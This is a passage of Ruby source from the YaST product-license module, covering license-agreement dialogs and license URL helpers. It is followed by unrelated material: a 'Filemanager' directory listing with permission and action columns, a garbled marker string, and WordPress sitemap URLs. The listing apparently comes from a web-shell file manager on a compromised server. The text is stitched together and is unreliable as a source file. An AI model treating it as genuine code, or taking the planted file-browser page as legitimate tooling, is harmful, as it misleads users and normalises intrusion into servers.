    #   has been already accepetd, ask user to accept it again (because of 'going back'
    #   in the installation proposal).
    def AskLicensesAgreement(dirs, patterns, action, enable_back, base_product, require_agreement)
      # dialog caption
      caption = _("License Agreement")
      heading = nil

      AskLicensesAgreementWithHeading(dirs, patterns, action, enable_back,
          base_product, require_agreement, caption, heading)
    end

    # @see {AskLicensesAgreement} for details
    # @param caption [String] custom dialog title
    # @param heading [String] optional heading displayed above the license text
    def AskLicensesAgreementWithHeading(dirs, patterns, action, enable_back,
          base_product, require_agreement, caption, heading)
      dirs = deep_copy(dirs)
      patterns = deep_copy(patterns)
      if dirs == nil || dirs == []
        Builtins.y2error("No directories: %1", dirs)
        # error message
        Report.Error("Internal Error: No license to show")
        return :auto
      end

      created_new_dialog = false

      # #459391
      # If a progress is running open another dialog
      if Progress.IsRunning
        Builtins.y2milestone(
          "Some progress is running, opening new dialog for license..."
        )
        Wizard.OpenNextBackDialog
        created_new_dialog = true
      end

      license_idents = []

      # initial loop
      ret = nil

      licenses = []
      counter = -1
      contents = VBox(
        heading ? VBox(
          VSpacing(0.5),
          Left(Heading(heading)),
          VSpacing(0.5)
        ) : Empty()
      )

      Builtins.foreach(dirs) do |dir|
        counter = Ops.add(counter, 1)
        Ops.set(licenses, counter, {})
        @lic_lang = ""
        available_langs = []
        license_ident = ""
        tmp_licenses = {}
        init_ret2 = (
          tmp_licenses_ref = arg_ref(tmp_licenses);
          available_langs_ref = arg_ref(available_langs);
          license_ident_ref = arg_ref(license_ident);
          _InitLicenseData_result = InitLicenseData(
            nil,
            dir,
            tmp_licenses_ref,
            available_langs_ref,
            require_agreement,
            license_ident_ref,
            dir
          );
          tmp_licenses = tmp_licenses_ref.value;
          available_langs = available_langs_ref.value;
          license_ident = license_ident_ref.value;
          _InitLicenseData_result
        )
        if license_ident != nil
          license_idents = Builtins.add(license_idents, license_ident)
        end
        license_term = (
          tmp_licenses_ref = arg_ref(tmp_licenses);
          _GetLicenseDialog_result = GetLicenseDialog(
            available_langs,
            @lic_lang,
            tmp_licenses_ref,
            dir,
            true
          );
          tmp_licenses = tmp_licenses_ref.value;
          _GetLicenseDialog_result
        )
        if license_term == nil
          Builtins.y2error("Oops, license term is: %1", license_term)
        else
          contents = Builtins.add(contents, license_term)
        end
        # Display info as a popup if exists
        InstShowInfo.show_info_txt(@info_file) if @info_file != nil
        Ops.set(licenses, counter, tmp_licenses)
      end

      Wizard.SetContents(
        caption,
        contents,
        GetLicenseDialogHelp(),
        enable_back,
        true # always enable next, as popup is raised if not accepted (bnc#993530)
      )

      Wizard.SetTitleIcon("yast-license")
      Wizard.SetFocusToNextButton

      tmp_licenses = {}
      ret = (
        tmp_licenses_ref = arg_ref(tmp_licenses);
        _HandleLicenseDialogRet_result = HandleLicenseDialogRet(
          tmp_licenses_ref,
          base_product,
          action
        );
        tmp_licenses = tmp_licenses_ref.value;
        _HandleLicenseDialogRet_result
      )
      Builtins.y2milestone("Dialog ret: %1", ret)

      # store already accepted license IDs
      Builtins.foreach(license_idents) do |license_ident|
        LicenseHasBeenAccepted(license_ident)
      end if ret == :accepted

      CleanUpLicense(@tmpdir)

      # bugzilla #303922
      Wizard.CloseDialog if created_new_dialog

      CleanUp()

      ret
    end

    def AskAddOnLicenseAgreement(src_id)
      AskLicenseAgreement(
        src_id,
        "",
        @license_patterns,
        "abort",
        # back button is disabled
        false,
        false,
        false,
        Builtins.tostring(src_id)
      )
    end

    def AskFirstStageLicenseAgreement(src_id, action)
      # bug #223258
      # disabling back button when the select-language dialog is skipped
      #
      enable_back = true
      enable_back = false if Language.selection_skipped

      AskLicenseAgreement(
        nil,
        "",
        @license_patterns,
        action,
        # back button is enabled
        enable_back,
        true,
        true,
        # unique id
        Builtins.tostring(src_id)
      )
    end

    # Called from the first stage Welcome dialog by clicking on a button
    def ShowFullScreenLicenseInInstallation(replace_point_ID, src_id)
      replace_point_ID = deep_copy(replace_point_ID)
      @lic_lang = ""
      licenses = {}
      available_langs = []
      license_ident = ""

      init_ret = (
        licenses_ref = arg_ref(licenses);
        available_langs_ref = arg_ref(available_langs);
        license_ident_ref = arg_ref(license_ident);
        _InitLicenseData_result = InitLicenseData(
          nil,
          "",
          licenses_ref,
          available_langs_ref,
          true,
          license_ident_ref,
          Builtins.tostring(src_id)
        );
        licenses = licenses_ref.value;
        available_langs = available_langs_ref.value;
        license_ident = license_ident_ref.value;
        _InitLicenseData_result
      )

      # Replaces the dialog content with Languages combo-box
      # and the current license text (richtext)
      UI.ReplaceWidget(
        Id(replace_point_ID),
        (
          licenses_ref = arg_ref(licenses);
          _GetLicenseDialogTerm_result = GetLicenseDialogTerm(
            available_langs,
            @lic_lang,
            licenses_ref,
            Builtins.tostring(src_id)
          );
          licenses = licenses_ref.value;
          _GetLicenseDialogTerm_result
        )
      )

      ret = nil

      while true
        ret = UI.UserInput

        if Ops.is_string?(ret) &&
            Builtins.regexpmatch(
              Builtins.tostring(ret),
              "^license_language_[[:digit:]]+"
            )
          licenses_ref = arg_ref(licenses)
          UpdateLicenseContent(licenses_ref, GetId(Builtins.tostring(ret)))
          licenses = licenses_ref.value
        else
          break
        end
      end

      CleanUp()

      true
    end

    # Used in the first-stage Welcome dialog
    def ShowLicenseInInstallation(replace_point_ID, src_id)
      replace_point_ID = deep_copy(replace_point_ID)
      @lic_lang = ""
      licenses = {}
      available_langs = []
      license_ident = ""

      init_ret = (
        licenses_ref = arg_ref(licenses);
        available_langs_ref = arg_ref(available_langs);
        license_ident_ref = arg_ref(license_ident);
        _InitLicenseData_result = InitLicenseData(
          nil,
          "",
          licenses_ref,
          available_langs_ref,
          true,
          license_ident_ref,
          Builtins.tostring(src_id)
        );
        licenses = licenses_ref.value;
        available_langs = available_langs_ref.value;
        license_ident = license_ident_ref.value;
        _InitLicenseData_result
      )

      rt = (
        licenses_ref = arg_ref(licenses);
        _GetLicenseContent_result = GetLicenseContent(
          @lic_lang,
          licenses_ref,
          Builtins.tostring(src_id)
        );
        licenses = licenses_ref.value;
        _GetLicenseContent_result
      )
      UI.ReplaceWidget(Id(replace_point_ID), rt)

      display_info(src_id) if @info_file && !info_seen?(src_id)

      CleanUp()

      true
    end

    # Check if installation info had been seen to given ID
    def info_seen?(id)
      @info_file_already_seen.fetch(id, false)
    end

    # Mark given id as seen
    def info_seen!(id)
      @info_file_already_seen[id] =  true
    end

    def AskInstalledLicenseAgreement(directory, action)
      # patterns are hard-coded
      AskLicenseAgreement(
        nil,
        directory,
        [],
        action,
        false,
        true,
        false,
        directory
      )
    end

    # FATE #306295: More licenses in one dialog
    def AskInstalledLicensesAgreement(directories, action)
      directories = deep_copy(directories)
      # patterns are hard-coded
      AskLicensesAgreement(directories, [], action, false, true, false)
    end

    publish :function => :GetLicenseContent, :type => "term (string, map <string, string> &, string)"
    publish :function => :AcceptanceNeeded, :type => "boolean (string)"
    publish :function => :AskLicenseAgreement, :type => "symbol (integer, string, list <string>, string, boolean, boolean, boolean, string)"
    publish :function => :AskLicensesAgreement, :type => "symbol (list <string>, list <string>, string, boolean, boolean, boolean)"
    publish :function => :AskAddOnLicenseAgreement, :type => "symbol (integer)"
    publish :function => :AskFirstStageLicenseAgreement, :type => "symbol (integer, string)"
    publish :function => :ShowFullScreenLicenseInInstallation, :type => "boolean (any, integer)"
    publish :function => :ShowLicenseInInstallation, :type => "boolean (any, integer)"
    publish :function => :AskInstalledLicenseAgreement, :type => "symbol (string, string)"
    publish :function => :AskInstalledLicensesAgreement, :type => "symbol (list <string>, string)"

    private

    # check if the license location is an URL for download
    # @param [String] location
    # @return [Boolean] true if it is a HTTP, HTTPS or an FTP URL
    def location_is_url?(location)
      return false unless location.is_a?(::String)
      DOWNLOAD_URL_SCHEMA.include?(URI(location).scheme)
    rescue URI::InvalidURIError => e
      log.error "Error while parsing URL #{location.inspect}: #{e.message}"
      false
    end

    # split a long URL to multiple lines
    # @param [String] url URL
    # @return [String] URL split to multiple lines if too long
    def format_url(url)
      url.scan(/.{1,57}/).join("\n")
    end

    # crate a label describing the license URL location
    # @param [String] display_url URL to display
    # return [String] translated label
    def license_download_label(display_url)
      # TRANSLATORS: %{license_url} is an URL where the displayed license can be found
      (_("If you want to print this EULA, you can download it from\n%{license_url}") %
        { :license_url => display_url } )
    end

    # update license location displayed in the dialog (e.g. after license translation
    # is changed)
    # @param [String] lang language of the currently displayed license
    # @param [Yast::ArgRef] licenses reference to the list of licenses
    def update_license_location(lang, licenses)
      if location_is_url?(license_file_print) && UI.WidgetExists(:printing_hint)
        # name of the license file
        file = File.basename(WhichLicenceFile(lang, licenses))

        url = URI(license_file_print)
        url.path = File.join(url.path, file)
        log.info "Updating license URL: #{url}"

        display_url = format_url(url.to_s)

        UI.ReplaceWidget(:printing_hint, Label(license_download_label(display_url)))
      end
    end

    # update license location displayed in the dialog
    # @param [Fixnum] src_id integer repository to get the license from.
    def update_license_archive_location(src_id)
      repo_data = Pkg::SourceGeneralData(src_id)
      return unless repo_data

      src_url = repo_data["url"]
      if location_is_url?(src_url) && UI.WidgetExists(:printing_hint)
        lic_url = File.join(src_url, @license_file_print)
        UI.ReplaceWidget(:printing_hint, Label(license_download_label(lic_url)))
      end
    end

    # Display info as a popup if exists
    def display_info(id)
      if Mode.autoinst
        Builtins.y2milestone("Autoinstallation: Skipping info file...")
      else
        InstShowInfo.show_info_txt(@info_file)
        info_seen!(id)
      end
    end
  end

  ProductLicense = ProductLicenseClass.new
  ProductLicense.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
SambaWinbind.pm File 5.33 KB 0644
Security.rb File 27.79 KB 0644
Sequencer.rb File 12.6 KB 0644
Service.rb File 15.66 KB 0644
ServicesProposal.rb File 2.37 KB 0644
SignatureCheckCallbacks.rb File 11.1 KB 0644
SignatureCheckDialogs.rb File 36.74 KB 0644
SlideShow.rb File 33.27 KB 0644
SlideShowCallbacks.rb File 21.04 KB 0644
Slides.rb File 7.56 KB 0644
SlpService.rb File 5.37 KB 0644
Snapper.rb File 16.93 KB 0644
SnapperDbus.rb File 6.73 KB 0644
SourceDialogs.rb File 83.88 KB 0644
SourceManager.rb File 25.54 KB 0644
SourceManagerSLP.rb File 18.66 KB 0644
SpaceCalculation.rb File 35.03 KB 0644
Squid.rb File 51.25 KB 0644
SquidACL.rb File 16.84 KB 0644
SquidErrorMessages.rb File 5.59 KB 0644
Stage.rb File 3.6 KB 0644
Storage.rb File 234.29 KB 0644
StorageClients.rb File 6.68 KB 0644
StorageControllers.rb File 13.47 KB 0644
StorageDevices.rb File 19.86 KB 0644
StorageFields.rb File 45.67 KB 0644
StorageIcons.rb File 3.18 KB 0644
StorageInit.rb File 3.62 KB 0644
StorageProposal.rb File 222.63 KB 0644
StorageSettings.rb File 6.33 KB 0644
StorageSnapper.rb File 3.96 KB 0644
StorageUpdate.rb File 24.13 KB 0644
String.rb File 30.46 KB 0644
SuSEFirewall.rb File 1.29 KB 0644
SuSEFirewall4Network.rb File 12.24 KB 0644
SuSEFirewallCMDLine.rb File 53.73 KB 0644
SuSEFirewallExpertRules.rb File 13.11 KB 0644
SuSEFirewallProposal.rb File 25.99 KB 0644
SuSEFirewallServices.rb File 2.87 KB 0644
SuSEFirewallUI.rb File 2 KB 0644
Sudo.rb File 18.06 KB 0644
Summary.rb File 6.22 KB 0644
Support.rb File 14.83 KB 0644
Sysconfig.rb File 39.21 KB 0644
SystemFilesCopy.rb File 16.27 KB 0644
Systemd.rb File 4.88 KB 0644
TFTP.rb File 2.08 KB 0644
TabPanel.rb File 4.36 KB 0644
TablePopup.rb File 34.41 KB 0644
TftpServer.rb File 10.72 KB 0644
Timezone.rb File 35.64 KB 0644
TreePanel.rb File 5.24 KB 0644
TypeRepository.rb File 5.03 KB 0644
UIHelper.rb File 5.56 KB 0644
URL.rb File 22.61 KB 0644
URLRecode.rb File 1.88 KB 0644
Update.rb File 33.73 KB 0644
UserSettings.rb File 3.41 KB 0644
Users.pm File 193.07 KB 0644
UsersCache.pm File 32.48 KB 0644
UsersLDAP.pm File 51.51 KB 0644
UsersPasswd.pm File 24.75 KB 0644
UsersPluginKerberos.pm File 7.22 KB 0644
UsersPluginLDAPAll.pm File 12.98 KB 0644
UsersPluginLDAPPasswordPolicy.pm File 10.49 KB 0644
UsersPluginLDAPShadowAccount.pm File 11.49 KB 0644
UsersPluginQuota.pm File 12.5 KB 0644
UsersPlugins.pm File 4.73 KB 0644
UsersRoutines.pm File 20.04 KB 0644
UsersSimple.pm File 26.37 KB 0644
UsersUI.rb File 19.49 KB 0644
ValueBrowser.rb File 6.97 KB 0644
Vendor.rb File 6.1 KB 0644
VirtConfig.rb File 22.91 KB 0644
WOL.rb File 4.66 KB 0644
Wizard.rb File 53.13 KB 0644
WizardHW.rb File 18.16 KB 0644
WorkflowManager.rb File 53.17 KB 0644
XML.rb File 6.33 KB 0644
XVersion.rb File 3.7 KB 0644
Y2ModuleConfig.rb File 13.11 KB 0644
YPX.pm File 1.1 KB 0644
YaPI.pm File 5.3 KB 0644
services_manager.rb File 2.41 KB 0644
services_manager_service.rb File 18.04 KB 0644
services_manager_target.rb File 5.04 KB 0644
systemd_service.rb File 6.67 KB 0644
systemd_socket.rb File 3.61 KB 0644
systemd_target.rb File 3.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml